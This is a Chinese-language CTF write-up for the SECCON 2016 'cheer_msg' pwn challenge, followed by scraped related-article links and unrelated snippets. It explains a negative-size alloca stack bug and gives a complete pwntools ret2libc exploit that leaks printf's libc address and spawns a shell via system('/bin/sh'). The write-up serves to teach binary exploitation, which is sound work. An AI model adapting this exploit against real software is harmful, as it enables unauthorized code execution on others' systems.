一步一步 Pwn RouterOS之ctf题练手
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
本文目的是以一道比较简单的 ctf 的练手,为后面的分析  RouterOs 的 漏洞和写 exploit 打基础。
Seccon CTF quals 2016 的一道题。
题目,idb 文件:
https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca
正文
首先看看 main 函数的代码。

逻辑还是比较简单的获取输入后,简单的加了 30 就给 alloca 去分配空间,然后进入 message 函数。
alloca 函数是 从 栈上分配内存, 它分配内存是通过 sub esp , * 来实现的,我们可以转到汇编代码看看。

可以看到调用 alloca 实际就是通过 sub esp, eax 来分配栈内存。
我们输入的 num 是 int 类型的

如果我们输入 num 为 负数, sub esp 就相当于 add esp 我们可以把栈指针往栈底移动。
继续往下看

接下来会调用 message 函数, 可以看到传给他的参数为 esp + 23 和 num , 进入 message 函数 ,看看他的逻辑。

首先读取 n 个字符 到 buf , 这两个变量就是我们传入的参数。
然后读入 0x40 个字符到  message 函数自己定义的局部变量中。
一切都很正常,没有溢出,没有格式化字符串漏洞。
程序的漏洞在于传入的 buf 是通过 alloca 分配的内存,我们可以通过输入 负数 使得 alloca的参数为负, 这样我们就可以把 esp 往栈底移动,栈底有返回地址, 然后通过 message  中读取数据,覆盖 eip 然后进行 rop 即可。
要触发漏洞我们需要输入负数,所以在

会直接返回,不会获取输入,因为它里面调用的是 fgets来获取输入。fgets会有检查。

所以我们只能往 message 函数内的缓冲区 t_buf写数据,不过这个缓冲区也是在栈上,同样与 esp 相关,所以我们把esp 往栈底移时,它也是会跟着下移,通过它也可以写 返回地址 的值。
我们可以输入 -140(这个值可以通过 先输入一个 比较小的比如 -32, 然后计算最后得到的数据的地址距离返回地址位置的距离,来继续调整)
在 0x0804860E 设个断点

sub 之后

可以看到 esp 已经增大。
然后加上一定的 padding (可以使用 pwntools 的 cyclic 计算) ,就能修改 返回地址了。

之后就是正常的 rop
使用 printf 打印 got 表中的 printf 的值,泄露 libc 的地址。然后回到程序的开始,再次触发漏洞, 调用 system("sh")
总结
alloca 的细节要注意, 注意输入的数据是有符号的还是无符号的。对于后面计算偏移,可以先动态调试计算一个粗略的值,然后使用 cyclic 确定精确的偏移。
exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
r = process("./cheer_msg")
binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
	''')
r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(binary.symbols['printf'])
payload += p32(binary.entry)  # ret to start
payload += p32(binary.got['printf'])
r.sendline(payload)
r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system']
log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh))
r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(system)
payload += p32(binary.entry)
payload += p32(sh)
r.sendline(payload)
r.interactive()
参考:
https://github.com/0x90r00t/Write-Ups/tree/master/Seccon/cheer_msg
一步一步 Pwn RouterOS之ctf题练手的更多相关文章
- 一步一步pwn路由器之rop技术实战
		前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ... 
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
		前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ... 
- 一步一步学ROP之linux_x64篇
		一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ... 
- 一步一步学ROP之gadgets和2free篇(蒸米spark)
		目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ... 
- 一步一步学ROP之linux_x64篇(蒸米spark)
		目录 一步一步学ROP之linux_x64篇(蒸米spark) 0x00 序 0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 0x02 ... 
- 一步一步学ROP之linux_x86篇(蒸米spark)
		目录 一步一步学ROP之linux_x86篇(蒸米spark) 0x00 序 0x01 Control Flow Hijack 程序流劫持 0x02 Ret2libc – Bypass DEP 通过r ... 
- 如何一步一步用DDD设计一个电商网站(九)—— 小心陷入值对象持久化的坑
		阅读目录 前言 场景1的思考 场景2的思考 避坑方式 实践 结语 一.前言 在上一篇中(如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成),有一行注释的代码: public interfa ... 
- 如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成
		阅读目录 前言 建模 实现 结语 一.前言 前面几篇已经实现了一个基本的购买+售价计算的过程,这次再让售价丰满一些,增加一个会员价的概念.会员价在现在的主流电商中,是一个不大常见的模式,其带来的问题是 ... 
- 如何一步一步用DDD设计一个电商网站(十)—— 一个完整的购物车
		阅读目录 前言 回顾 梳理 实现 结语 一.前言 之前的文章中已经涉及到了购买商品加入购物车,购物车内购物项的金额计算等功能.本篇准备把剩下的购物车的基本概念一次处理完. 二.回顾 在动手之前我对之 ... 
随机推荐
- subscripts(下标)
			/* subscripts(下标): 访问对象中数据的快捷方式 所谓下标脚本语法就是能够通过, 实例[索引值]来访问实例中的数据 类似于以前我们访问数字和字典, 其实Swift中的数组和字典就是一个结 ... 
- POJ 2371
			#include<iostream> #include<stdio.h> #include<string> using namespace std; int com ... 
- Java学习之路(十二):IO流<三>
			复习:序列流 序列流可以把多个字节输入整合成一个,从序列流中读取到数据时,将从被整合的第一个流开始读取,读完这个后,然后开始读取第二个流,依次向后推. 详细见上一篇文章 ByteArrayOutput ... 
- java数据结构之二叉树遍历的非递归实现
			算法概述递归算法简洁明了.可读性好,但与非递归算法相比要消耗更多的时间和存储空间.为提高效率,我们可采用一种非递归的二叉树遍历算法.非递归的实现要借助栈来实现,因为堆栈的先进后出的结构和递归很相似.对 ... 
- 一款高效视频播放控件的设计思路(c# WPF版)
			因工作的需要,开发了一款视频播放程序.期间也经历许多曲折,查阅了大量资料,经过了反复测试,终于圆满完成了任务. 我把开发过程中的一些思路.想法写下来,以期对后来者有所帮助. 视频播放的本质 就是连续的 ... 
- 开始使用Newbe.Pct-Web自动化测试
			前篇介绍了,使用 Newbe.Pct 之前的准备工作.本篇将开始介绍如何使用本项目运行第一个测试用例. 阅前语 从本篇开始,读者将会接触到使用一些代码.希望读者不必纠结于语法本身.出现代码的地方都会伴 ... 
- 初学nodejs之安装Express中遇到的问题: error: option `-v, --view <engine>' argument missing
			Windows安装下载nodejs地址:http://nodejs.org/download/ node -v 查看安装版本,输出版本即安装成功 之前学习了nodejs的基础,今天安装Express框 ... 
- webfrom后台
			using System;using System.Collections.Generic;using System.Linq;using System.Web;using System.Web.UI ... 
- Dubbo下载-从missing artifactId说起
			项目pom文件引入dubbo 报 missing artifactId https://github.com/dangdangdotcom/dubbox 从GitHub上直接下载解压包, 最好下载分支 ... 
- Maven配置私服仓库
			首先就是,最基本的打开maven的配置文件,上面是我自己的习惯,多留一个以备不坏 打开setting配置文件,来修改路径(本人不习惯将所有软件放在C盘,一般都是单独存放盘) 接下来就是公司给你的账户和 ... 
